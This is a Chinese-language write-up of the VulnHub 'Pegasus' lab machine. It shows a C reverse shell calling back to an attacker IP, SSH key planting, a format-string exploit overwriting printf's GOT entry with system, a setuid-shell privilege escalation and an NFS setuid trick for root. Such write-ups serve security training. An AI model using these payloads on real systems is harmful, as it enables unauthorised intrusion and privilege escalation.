vulnhub靶机pegasus(web+pwn,双倍快乐)

扫描端口,web 服务开在了 8088

访问啥都没有,扫描一下目录试试

image

/submit.php

image

/codereview.php

他是向 submit.php 发送代码的

他说他会去执行代码,但是我只试了 php 的,wp 说是 C 语言的,找了个 C 语言的 shell

C语言shell在这里找的

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>

int tcp_port = 6666;
char *ip = "192.168.149.1";

void reverse_shell(){
        int fd;
        if ( fork() <= 0){
                struct sockaddr_in addr;
                addr.sin_family = AF_INET;
                addr.sin_port = htons(tcp_port);
                addr.sin_addr.s_addr = inet_addr(ip);

                fd = socket(AF_INET, SOCK_STREAM, 0);
                if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
                        exit(0);
                }
                dup2(fd, 0);
                dup2(fd, 1);
                dup2(fd, 2);
                execve("/bin/bash", 0LL, 0LL);
        }
        return;
}
void main(int argc, char const *argv[])
{
        reverse_shell();
        return 0;
}

连上来了

把 wsl 的公钥写到 .ssh/authorized_keys 方便一点

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNZ8DG1O2XEkB3Z4M03qO08QjHKCVVxfy/6emzyKWMO+p1bf0+E+s9SzPWCTYmZ/lfsudWe9QcNTEKRluONKMr1tC/8bE/ornr2pm8b/nNZsmfKme18Qohz2JFgMk/GLYECTWDX10fnl1a2RzSBKpUZB7CASurQLcPiP93aevHFLmDT+0jkecB9Skw7fjwTvAJLyWpDbDH0pKyd1RqtdctwYxABkxlUzh613M8ypk1++E3I8baCY4g460yUExd4aw13IeDTcBMtkBDwJaiNiT7niZD04Hz4bckt+gKwJ64FxAsGYE9GtwNbGakjKsi54EkifKsySvJdpCy3RukGu/XURXVODODzn6luK8IXlxp5BKM5dkOkMWTnfBn3N4blaAcvVQA8TUSgF7e+OHAYwio2Y0M2qcli9vKTFV5hlsWnUohI7RLg08LzkMi5eEKxHDRy32zfcBLhLDtTuwUYmnWkgB/NRBTx82WGm8H5n1VlvXb2Co3cz0Kr9sJHMR/JJ8= [email protected]" > authorized_keys

格式化字符串漏洞提权john

my_first 权限有 s

image

用 nc 把那个文件拷贝出来

IDA 打开看一下,在计算功能这里有一个格式化字符串漏洞,具体漏洞利用的知识可以去看我的笔记:https://www.yuque.com/hxfqg9/bin/aedgn4

可以数出来,AAAA 是在第八个位置被 %p 解析

检查一下保护,没有 canary

靶机上 ASRL 是开着的

image

可以通过 ulimit -s unlimited 使得 ASLR 实际上没用

emmm,在搞个 peda

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

gdb 调试看一下,得到 system 的地址

然后通过把 printf 的 got 的中的内容改成 system 的真实地址来拿到 shell

[email protected]:0x8049bfc
system:0x40069060

exp

from pwn import *
payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= p32(addr)+p32(addr+2)
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload

额,靶机没有 pwntools
稍改一下

payload = ""
payload += "1\n" # selection #1
payload += "1\n" # first number
addr=0x8049bfc
payload+= "\xfc\x9b\x04\x08"+"\xfe\x9b\x04\x08"
payload+= "%36952u%8$n"+"%44966u%9$n"
#9060
#14406
print payload

但实际上这样执行的是 system("Selection:") ,在本地写个 Selection: 可执行程序,由 exp.c 编译而来 gcc -o "Selection:" exp.c

#include <stdio.h>
int main()
{
    system("cp /bin/sh /tmp/john");
    system("chmod 4777 /tmp/john");
}

同时 export PATH=$PATH:/home/mike 不然那个 Selection: 不加 ./ 没法运行的

这时候 python exp.py | ./my_first 会在 /tmp 目录下生成 john

image

当程序拥有 john 的 suid 权限,以 mike 身份运行程序的时候 euid 会变成 john,这个时候再去使用 setreuid 交换 ruid 和 euid,就可以真正的变成 john 用户

去运行程序

#include <stdio.h>
void main(int argc, char *argv[]) {
  setreuid(geteuid(), getuid());
  execv("/bin/bash", argv);
}

nfs提权root

sudo -l 发现 nfs 不用密码就可以以 root 权限执行(后面操作怕把电脑弄乱了就在虚拟机上操作了)

启动: sudo /usr/local/sbin/nfs start

然后在攻击机上创建一个用来挂载的文件夹
mkdir /mnt/pegasus

然后挂载上
mount -t nfs -o proto=tcp,port=2049 192.168.149.183:/opt/nfs /mnt/pegasus

创建一个文件并且给他权限
touch /mnt/pegasus/hack_shell
chmod 777 /mnt/pegasus/hack_shell

回到靶机,把 /bin/dash 拷过去
cp /bin/dash /opt/nfs/hack_shell

然后在攻击机上给他权限
chmod u+s /mnt/pegasus/hack_shell
chmod g+s /mnt/pegasus/hack_shell

这样在靶机一执行,就能拿到 root 权限